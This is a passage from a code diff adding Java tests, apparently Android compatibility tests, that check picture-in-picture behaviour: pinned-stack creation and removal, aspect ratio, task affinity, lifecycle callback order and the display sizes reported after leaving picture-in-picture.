+        // some period.  Wait for the previous activity to be visible, and ensure that the pinned
+        // stack was not created in the process
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP_ON_PAUSE, "true",
+                EXTRA_FINISH_SELF_ON_RESUME, "true");
+        assertPinnedStackDoesNotExist();
+    }
+
+    public void testAutoEnterPictureInPictureAspectRatio() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch the PIP activity on pause, and set the aspect ratio
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP_ON_PAUSE, "true",
+                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
+                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR));
+
+        // Go home while the pip activity is open to trigger auto-PIP
+        launchHomeActivity();
+        assertPinnedStackExists();
+
+        // Hacky, but we need to wait for the auto-enter picture-in-picture animation to complete
+        // and before we can check the pinned stack bounds
+        final boolean[] result = new boolean[1];
+        mAmWmState.waitForWithAmState(mDevice, (state) -> {
+            Rectangle pinnedStackBounds = state.getStackById(PINNED_STACK_ID).getBounds();
+            boolean isValidAspectRatio = floatEquals(
+                    (float) pinnedStackBounds.width / pinnedStackBounds.height,
+                    (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
+            result[0] = isValidAspectRatio;
+            return isValidAspectRatio;
+        }, "Waiting for pinned stack to be resized");
+        assertTrue(result[0]);
+    }
+
+    public void testAutoEnterPictureInPictureOverPip() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch another PIP activity
+        launchActivity(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY);
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+        assertPinnedStackExists();
+
+        // Launch the PIP activity on pause
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+
+        // Go home while the PIP activity is open to trigger auto-enter PIP
+        launchHomeActivity();
+        assertPinnedStackExists();
+
+        // Ensure that auto-enter pip failed and that the resumed activity in the pinned stack is
+        // still the first activity
+        final ActivityStack pinnedStack = mAmWmState.getAmState().getStackById(PINNED_STACK_ID);
+        assertTrue(pinnedStack.getTasks().size() == 1);
+        assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
+                ALWAYS_FOCUSABLE_PIP_ACTIVITY)));
+    }
+
+    public void testDisallowMultipleTasksInPinnedStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a test activity so that we have multiple fullscreen tasks
+        launchActivity(TEST_ACTIVITY);
+
+        // Launch first PIP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+
+        // Launch second PIP activity
+        launchActivity(PIP_ACTIVITY2, EXTRA_ENTER_PIP, "true");
+
+        final ActivityStack pinnedStack = mAmWmState.getAmState().getStackById(PINNED_STACK_ID);
+        assertEquals(1, pinnedStack.getTasks().size());
+
+        assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
+                PIP_ACTIVITY2)));
+
+        final ActivityStack fullScreenStack = mAmWmState.getAmState().getStackById(
+                FULLSCREEN_WORKSPACE_STACK_ID);
+        assertTrue(fullScreenStack.getBottomTask().mRealActivity.equals(getActivityComponentName(
+                PIP_ACTIVITY)));
+    }
+
+    public void testPipUnPipOverHome() throws Exception {
+        if (!supportsPip()) return;
+
+        // Go home
+        launchHomeActivity();
+        // Launch an auto pip activity
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_REENTER_PIP_ON_EXIT, "true");
+        assertPinnedStackExists();
+
+        // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
+        launchActivity(PIP_ACTIVITY);
+        mAmWmState.waitForWithAmState(mDevice, (amState) -> {
+            return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == FULLSCREEN_WORKSPACE_STACK_ID;
+        }, "Waiting for PIP to exit to fullscreen");
+        mAmWmState.waitForWithAmState(mDevice, (amState) -> {
+            return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == PINNED_STACK_ID;
+        }, "Waiting to re-enter PIP");
+        mAmWmState.assertFocusedStack("Expected home stack focused", HOME_STACK_ID);
+    }
+
+    public void testPipUnPipOverApp() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a test activity so that we're not over home
+        launchActivity(TEST_ACTIVITY);
+
+        // Launch an auto pip activity
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_REENTER_PIP_ON_EXIT, "true");
+        assertPinnedStackExists();
+
+        // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
+        launchActivity(PIP_ACTIVITY);
+        mAmWmState.waitForWithAmState(mDevice, (amState) -> {
+            return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == FULLSCREEN_WORKSPACE_STACK_ID;
+        }, "Waiting for PIP to exit to fullscreen");
+        mAmWmState.waitForWithAmState(mDevice, (amState) -> {
+            return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == PINNED_STACK_ID;
+        }, "Waiting to re-enter PIP");
+        mAmWmState.assertFocusedStack("Expected fullscreen stack focused",
+                FULLSCREEN_WORKSPACE_STACK_ID);
+    }
+
+    public void testRemovePipWithNoFullscreenStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Start with a clean slate, remove all the stacks but home
+        removeStacks(ALL_STACK_IDS_BUT_HOME);
+
+        // Launch a pip activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Remove the stack and ensure that the task is now in the fullscreen stack (when no
+        // fullscreen stack existed before)
+        removeStacks(PINNED_STACK_ID);
+        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
+                true /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+    }
+
+    public void testRemovePipWithVisibleFullscreenStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a fullscreen activity, and a pip activity over that
+        launchActivity(TEST_ACTIVITY);
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Remove the stack and ensure that the task is placed in the fullscreen stack, behind the
+        // top fullscreen activity
+        removeStacks(PINNED_STACK_ID);
+        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID,
+                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+    }
+
+    public void testRemovePipWithHiddenFullscreenStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
+        // launch a pip activity over home
+        launchActivity(TEST_ACTIVITY);
+        launchHomeActivity();
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Remove the stack and ensure that the task is placed on top of the hidden fullscreen
+        // stack, but that the home stack is still focused
+        removeStacks(PINNED_STACK_ID);
+        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
+                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+    }
+
+    public void testMovePipToBackWithNoFullscreenStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Start with a clean slate, remove all the stacks but home
+        removeStacks(ALL_STACK_IDS_BUT_HOME);
+
+        // Launch a pip activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Remove the stack and ensure that the task is now in the fullscreen stack (when no
+        // fullscreen stack existed before)
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
+        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
+                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+    }
+
+    public void testMovePipToBackWithVisibleFullscreenStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a fullscreen activity, and a pip activity over that
+        launchActivity(TEST_ACTIVITY);
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Remove the stack and ensure that the task is placed in the fullscreen stack, behind the
+        // top fullscreen activity
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
+        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID,
+                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+    }
+
+    public void testMovePipToBackWithHiddenFullscreenStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
+        // launch a pip activity over home
+        launchActivity(TEST_ACTIVITY);
+        launchHomeActivity();
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Remove the stack and ensure that the task is placed on top of the hidden fullscreen
+        // stack, but that the home stack is still focused
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
+        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
+                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+    }
+
+    public void testPinnedStackAlwaysOnTop() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch activity into pinned stack and assert it's on top.
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+        assertPinnedStackIsOnTop();
+
+        // Launch another activity in fullscreen stack and check that pinned stack is still on top.
+        launchActivity(TEST_ACTIVITY);
+        assertPinnedStackExists();
+        assertPinnedStackIsOnTop();
+
+        // Launch home and check that pinned stack is still on top.
+        launchHomeActivity();
+        assertPinnedStackExists();
+        assertPinnedStackIsOnTop();
+    }
+
+    public void testAppOpsDenyPipOnPause() throws Exception {
+        if (!supportsPip()) return;
+
+        // Disable enter-pip and try to enter pip
+        setAppOpsOpToMode(ActivityManagerTestBase.componentName,
+                APP_OPS_OP_ENTER_PICTURE_IN_PICTURE_ON_HIDE, APP_OPS_MODE_IGNORED);
+
+        // Launch the PIP activity on pause
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackDoesNotExist();
+
+        // Go home and ensure that there is no pinned stack
+        launchHomeActivity();
+        assertPinnedStackDoesNotExist();
+
+        // Re-enable enter-pip-on-hide
+        setAppOpsOpToMode(ActivityManagerTestBase.componentName,
+                APP_OPS_OP_ENTER_PICTURE_IN_PICTURE_ON_HIDE, APP_OPS_MODE_ALLOWED);
+    }
+
+    public void testEnterPipFromTaskWithMultipleActivities() throws Exception {
+        if (!supportsPip()) return;
+
+        // Try to enter picture-in-picture from an activity that has more than one activity in the
+        // task and ensure that it works
+        launchActivity(LAUNCH_ENTER_PIP_ACTIVITY);
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+        assertPinnedStackExists();
+    }
+
+    public void testEnterPipWithResumeWhilePausingActivityNoStop() throws Exception {
+        if (!supportsPip()) return;
+
+        /*
+         * Launch the resumeWhilePausing activity and ensure that the PiP activity did not get
+         * stopped and actually went into the pinned stack.
+         *
+         * Note that this is a workaround because to trigger the path that we want to happen in
+         * activity manager, we need to add the leaving activity to the stopping state, which only
+         * happens when a hidden stack is brought forward. Normally, this happens when you go home,
+         * but since we can't launch into the home stack directly, we have a workaround.
+         *
+         * 1) Launch an activity in a new dynamic stack
+         * 2) Resize the dynamic stack to non-fullscreen bounds
+         * 3) Start the PiP activity that will enter picture-in-picture when paused in the
+         *    fullscreen stack
+         * 4) Bring the activity in the dynamic stack forward to trigger PiP
+         */
+        int stackId = launchActivityInNewDynamicStack(RESUME_WHILE_PAUSING_ACTIVITY);
+        resizeStack(stackId, 0, 0, 500, 500);
+        // Launch an activity that will enter PiP when it is paused with a delay that is long enough
+        // for the next resumeWhilePausing activity to finish resuming, but slow enough to not
+        // trigger the current system pause timeout (currently 500ms)
+        launchActivityInStack(PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID,
+                EXTRA_ENTER_PIP_ON_PAUSE, "true",
+                EXTRA_ON_PAUSE_DELAY, "350",
+                EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
+        launchActivity(RESUME_WHILE_PAUSING_ACTIVITY);
+        assertPinnedStackExists();
+    }
+
+    public void testDisallowEnterPipActivityLocked() throws Exception {
+        if (!supportsPip()) return;
+
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+        ActivityTask task =
+                mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID).getTopTask();
+
+        // Lock the task and ensure that we can't enter picture-in-picture both explicitly and
+        // when paused
+        executeShellCommand("am task lock " + task.mTaskId);
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+        assertPinnedStackDoesNotExist();
+        launchHomeActivity();
+        assertPinnedStackDoesNotExist();
+        executeShellCommand("am task lock stop");
+    }
+
+    public void testConfigurationChangeOrderDuringTransition() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a PiP activity and ensure configuration change only happened once, and that the
+        // configuration change happened after the picture-in-picture and multi-window callbacks
+        launchActivity(PIP_ACTIVITY);
+        String logSeparator = clearLogcat();
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+        assertPinnedStackExists();
+        assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
+
+        // Trigger it to go back to fullscreen and ensure that only triggered one configuration
+        // change as well
+        logSeparator = clearLogcat();
+        launchActivity(PIP_ACTIVITY);
+        assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
+    }
+
+    public void testStopBeforeMultiWindowCallbacksOnDismiss() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a PiP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Dismiss it
+        String logSeparator = clearLogcat();
+        removeStacks(PINNED_STACK_ID);
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+
+        // Confirm that we get stop before the multi-window and picture-in-picture mode change
+        // callbacks
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY,
+                logSeparator);
+        if (lifecycleCounts.mStopCount != 1) {
+            fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mStopCount
+                    + " onStop() calls, expecting 1");
+        } else if (lifecycleCounts.mPictureInPictureModeChangedCount != 1) {
+            fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mPictureInPictureModeChangedCount
+                    + " onPictureInPictureModeChanged() calls, expecting 1");
+        } else if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
+            fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mMultiWindowModeChangedCount
+                    + " onMultiWindowModeChanged() calls, expecting 1");
+        } else {
+            int lastStopLine = lifecycleCounts.mLastStopLineIndex;
+            int lastPipLine = lifecycleCounts.mLastPictureInPictureModeChangedLineIndex;
+            int lastMwLine = lifecycleCounts.mLastMultiWindowModeChangedLineIndex;
+            if (!(lastStopLine < lastPipLine && lastPipLine < lastMwLine)) {
+                fail(PIP_ACTIVITY + " has received callbacks in unexpected order.  Expected:"
+                        + " stop < pip < mw, but got line indices: " + lastStopLine + ", "
+                        + lastPipLine + ", " + lastMwLine + " respectively");
+            }
+        }
+    }
+
+    public void testPreventSetAspectRatioWhileExpanding() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch the PiP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+
+        // Trigger it to go back to fullscreen and try to set the aspect ratio, and ensure that the
+        // call to set the aspect ratio did not prevent the PiP from returning to fullscreen
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_EXPAND_PIP
+                + " -e " + EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR + " 123456789"
+                + " -e " + EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR + " 100000000");
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+        assertPinnedStackDoesNotExist();
+    }
+
+    public void testSetRequestedOrientationWhilePinned() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch the PiP activity fixed as portrait, and enter picture-in-picture
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT),
+                EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Request that the orientation is set to landscape
+        executeShellCommand("am broadcast -a "
+                + PIP_ACTIVITY_ACTION_SET_REQUESTED_ORIENTATION + " -e "
+                + EXTRA_FIXED_ORIENTATION + " " + String.valueOf(ORIENTATION_LANDSCAPE));
+
+        // Launch the activity back into fullscreen and ensure that it is now in landscape
+        launchActivity(PIP_ACTIVITY);
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+        assertPinnedStackDoesNotExist();
+        assertTrue(mAmWmState.getWmState().getLastOrientation() == ORIENTATION_LANDSCAPE);
+    }
+
+    public void testWindowButtonEntersPip() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch the PiP activity trigger the window button, ensure that we have entered PiP
+        launchActivity(PIP_ACTIVITY);
+        pressWindowButton();
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+        assertPinnedStackExists();
+    }
+
+    public void testFinishPipActivityWithTaskOverlay() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch PiP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+        int taskId = mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getTopTask().mTaskId;
+
+        // Ensure that we don't any any other overlays as a result of launching into PIP
+        launchHomeActivity();
+
+        // Launch task overlay activity into PiP activity task
+        launchActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId, PINNED_STACK_ID);
+
+        // Finish the PiP activity and ensure that there is no pinned stack
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_FINISH);
+        mAmWmState.waitForWithAmState(mDevice, (amState) -> {
+            ActivityStack stack = amState.getStackById(PINNED_STACK_ID);
+            return stack == null;
+        }, "Waiting for pinned stack to be removed...");
+        assertPinnedStackDoesNotExist();
+    }
+
+    public void testNoResumeAfterTaskOverlayFinishes() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch PiP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+        int taskId = mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getTopTask().mTaskId;
+
+        // Launch task overlay activity into PiP activity task
+        launchActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId, PINNED_STACK_ID);
+
+        // Finish the task overlay activity while animating and ensure that the PiP activity never
+        // got resumed
+        String logSeparator = clearLogcat();
+        executeShellCommand("am stack resize-animated 4 20 20 500 500");
+        executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH);
+        mAmWmState.waitFor(mDevice, (amState, wmState) -> !amState.containsActivity(
+                TRANSLUCENT_TEST_ACTIVITY), "Waiting for test activity to finish...");
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY,
+                logSeparator);
+        assertTrue(lifecycleCounts.mResumeCount == 0);
+        assertTrue(lifecycleCounts.mPauseCount == 0);
+    }
+
+    public void testPinnedStackWithDockedStack() throws Exception {
+        if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
+
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        launchActivityToSide(true, false, TEST_ACTIVITY);
+        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+        // Launch the activities again to take focus and make sure nothing is hidden
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+        launchActivityToSide(true, false, TEST_ACTIVITY);
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+        // Go to recents to make sure that fullscreen stack is invisible
+        // Some devices do not support recents or implement it differently (instead of using a
+        // separate stack id or as an activity), for those cases the visibility asserts will be
+        // ignored
+        pressAppSwitchButton();
+        if (mAmWmState.waitForRecentsActivityVisible(mDevice)) {
+            mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+            mAmWmState.assertVisibility(TEST_ACTIVITY, false);
+        }
+    }
+
+    public void testLaunchTaskByComponentMatchMultipleTasks() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
+        // affinity
+        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+        launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
+        assertPinnedStackExists();
+
+        // Launch the root activity again...
+        int rootActivityTaskId = mAmWmState.getAmState().getTaskByActivityName(
+                TEST_ACTIVITY_WITH_SAME_AFFINITY).mTaskId;
+        launchHomeActivity();
+        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+
+        // ...and ensure that the root activity task is found and reused, and that the pinned stack
+        // is unaffected
+        assertPinnedStackExists();
+        mAmWmState.assertFocusedActivity("Expected root activity focused",
+                TEST_ACTIVITY_WITH_SAME_AFFINITY);
+        assertTrue(rootActivityTaskId == mAmWmState.getAmState().getTaskByActivityName(
+                TEST_ACTIVITY_WITH_SAME_AFFINITY).mTaskId);
+    }
+
+    public void testLaunchTaskByAffinityMatchMultipleTasks() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
+        // affinity, and also launch another activity in the same task, while finishing itself. As
+        // a result, the task will not have a component matching the same activity as what it was
+        // started with
+        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
+                EXTRA_START_ACTIVITY, getActivityComponentName(TEST_ACTIVITY),
+                EXTRA_FINISH_SELF_ON_RESUME, "true");
+        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+        launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY_WITH_SAME_AFFINITY, PINNED_STACK_ID);
+        assertPinnedStackExists();
+
+        // Launch the root activity again...
+        int rootActivityTaskId = mAmWmState.getAmState().getTaskByActivityName(
+                TEST_ACTIVITY).mTaskId;
+        launchHomeActivity();
+        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+
+        // ...and ensure that even while matching purely by task affinity, the root activity task is
+        // found and reused, and that the pinned stack is unaffected
+        assertPinnedStackExists();
+        mAmWmState.assertFocusedActivity("Expected root activity focused", TEST_ACTIVITY);
+        assertTrue(rootActivityTaskId == mAmWmState.getAmState().getTaskByActivityName(
+                TEST_ACTIVITY).mTaskId);
+    }
+
+    public void testLaunchTaskByAffinityMatchSingleTask() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch an activity into the pinned stack with a fixed affinity
+        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_START_ACTIVITY, getActivityComponentName(PIP_ACTIVITY),
+                EXTRA_FINISH_SELF_ON_RESUME, "true");
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+        assertPinnedStackExists();
+
+        // Launch the root activity again, of the matching task and ensure that we expand to
+        // fullscreen
+        int activityTaskId = mAmWmState.getAmState().getTaskByActivityName(
+                PIP_ACTIVITY).mTaskId;
+        launchHomeActivity();
+        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+        assertPinnedStackDoesNotExist();
+        assertTrue(activityTaskId == mAmWmState.getAmState().getTaskByActivityName(
+                PIP_ACTIVITY).mTaskId);
+    }
+
+    /** Test that reported display size corresponds to fullscreen after exiting PiP. */
+    public void testDisplayMetricsPinUnpin() throws Exception {
+        String logSeparator = clearLogcat();
+        launchActivity(TEST_ACTIVITY);
+        final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
+        final ReportedSizes initialSizes = getLastReportedSizesForActivity(TEST_ACTIVITY,
+                logSeparator);
+        final Rectangle initialAppBounds = readAppBounds(TEST_ACTIVITY, logSeparator);
+        assertNotNull("Must report display dimensions", initialSizes);
+        assertNotNull("Must report app bounds", initialAppBounds);
+
+        logSeparator = clearLogcat();
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+        final ReportedSizes pinnedSizes = getLastReportedSizesForActivity(PIP_ACTIVITY,
+                logSeparator);
+        final Rectangle pinnedAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
+        assertFalse("Reported display size when pinned must be different from default",
+                initialSizes.equals(pinnedSizes));
+        assertFalse("Reported app bounds when pinned must be different from default",
+                initialAppBounds.width == pinnedAppBounds.width
+                        && initialAppBounds.height == pinnedAppBounds.height);
+
+        logSeparator = clearLogcat();
+        launchActivityInStack(PIP_ACTIVITY, defaultDisplayStackId);
+        final ReportedSizes finalSizes = getLastReportedSizesForActivity(PIP_ACTIVITY,
+                logSeparator);
+        final Rectangle finalAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
+        assertEquals("Must report default size after exiting PiP", initialSizes, finalSizes);
+        assertEquals("Must report default app width after exiting PiP", initialAppBounds.width,
+                finalAppBounds.width);
+        assertEquals("Must report default app height after exiting PiP", initialAppBounds.height,
+                finalAppBounds.height);
+    }
+
+    private static final Pattern sAppBoundsPattern = Pattern.compile(
+            "(.+)appBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)(.*)");
+
+    /** Read app bounds in last applied configuration from logs. */
+    private Rectangle readAppBounds(String activityName, String logSeparator) throws Exception {
+        final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+        for (int i = lines.length - 1; i >= 0; i--) {
+            final String line = lines[i].trim();
+            final Matcher matcher = sAppBoundsPattern.matcher(line);
+            if (matcher.matches()) {
+                final int left = Integer.parseInt(matcher.group(2));
+                final int top = Integer.parseInt(matcher.group(3));
+                final int right = Integer.parseInt(matcher.group(4));
+                final int bottom = Integer.parseInt(matcher.group(5));
+                return new Rectangle(left, top, right - left, bottom - top);
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Called after the given {@param activityName} has been moved to the fullscreen stack. Ensures
+     * that the {@param focusedStackId} is focused, and checks the top and/or bottom tasks in the
+     * fullscreen stack if {@param expectTopTaskHasActivity} or {@param expectBottomTaskHasActivity}
+     * are set respectively.
+     */
+    private void assertPinnedStackStateOnMoveToFullscreen(String activityName, int focusedStackId,
+            boolean expectTopTaskHasActivity, boolean expectBottomTaskHasActivity)
+                    throws Exception {
+        mAmWmState.waitForFocusedStack(mDevice, focusedStackId);
+        mAmWmState.assertFocusedStack("Wrong focused stack", focusedStackId);
+        mAmWmState.waitForActivityState(mDevice, activityName, STATE_STOPPED);
+        assertTrue(mAmWmState.getAmState().hasActivityState(activityName, STATE_STOPPED));
+        assertPinnedStackDoesNotExist();
+
+        if (expectTopTaskHasActivity) {
+            ActivityTask topTask = mAmWmState.getAmState().getStackById(
+                    FULLSCREEN_WORKSPACE_STACK_ID).getTopTask();
+            assertTrue(topTask.containsActivity(ActivityManagerTestBase.getActivityComponentName(
+                    activityName)));
+        }
+        if (expectBottomTaskHasActivity) {
+            ActivityTask bottomTask = mAmWmState.getAmState().getStackById(
+                    FULLSCREEN_WORKSPACE_STACK_ID).getBottomTask();
+            assertTrue(bottomTask.containsActivity(ActivityManagerTestBase.getActivityComponentName(
+                    activityName)));
+        }
+    }
+
+    /**
+     * Asserts that the pinned stack bounds does not intersect with the IME bounds.
+     */
+    private void assertPinnedStackDoesNotIntersectIME() throws Exception {
+        // Ensure that the IME is visible
+        WindowManagerState wmState = mAmWmState.getWmState();
+        wmState.computeState(mDevice);
+        WindowManagerState.WindowState imeWinState = wmState.getInputMethodWindowState();
+        assertTrue(imeWinState != null);
+
+        // Ensure that the PIP movement is constrained by the display bounds intersecting the
+        // non-IME bounds
+        Rectangle imeContentFrame = imeWinState.getContentFrame();
+        Rectangle imeContentInsets = imeWinState.getGivenContentInsets();
+        Rectangle imeBounds = new Rectangle(imeContentFrame.x + imeContentInsets.x,
+                imeContentFrame.y + imeContentInsets.y,
+                imeContentFrame.width - imeContentInsets.width,
+                imeContentFrame.height - imeContentInsets.height);
+        wmState.computeState(mDevice);
